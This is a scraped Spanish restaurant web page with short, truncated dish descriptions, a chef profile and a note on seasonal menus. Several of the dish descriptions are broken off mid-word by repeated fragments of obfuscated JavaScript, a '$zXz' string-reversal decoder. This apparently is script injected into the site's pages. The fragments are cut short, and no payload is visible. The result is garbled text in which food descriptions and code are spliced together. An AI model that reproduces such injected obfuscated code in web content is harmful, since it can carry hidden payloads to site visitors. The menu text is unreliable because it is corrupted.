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Fabuloso bizcocho de chocolate con corazón de chocolate fundido coronado con una bola de helado de vainilla de Madagascar, albahaca y $zXz=function(n){if ...
Corte de pluma ibérica semicruda macerada, sellada a la parrilla acompañada de flor de calabacín rellena de boletus de temporada con una demiglass de la ...
Lubina salvaje macerada con zumo de lima brasileña, naranja y pomelo al horno con aceite extra de oliva picual sobre un lecho de puré de patata con cítricos ...
Suprema de merluza de palangre al horno con $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return ...
Milhojas de patata de Prades confitada y al horno con butifarras negra y blanca de Girona con nueces y piñones salteados y unas gotas de aceite de trufa ...
Salteado de 4 clases distintas de boletus con espárragos verdes al dente y huevo poché de pa$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return ...
Nido de canónigos frescos acompañados de cebolla caramelizada a fuego len$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("...
Carpaccio fino de langostino fresco macerado con distin$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join(""...
Tartar de gamba roja fresca con aguacate en su pun$zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");ret...
Nacho Marí es el chef principal. Apasionado por la cocina de calidad. Amante de la frescura y perfeccionista a la hora de realizar sus obras.Conoce al Chef
Todos los menús que preparamos son de temporada. Adaptamos los platos a los ingredientes de la época asegurando la calidad y la frescura de la materia prima.Ver menú de temporada 1
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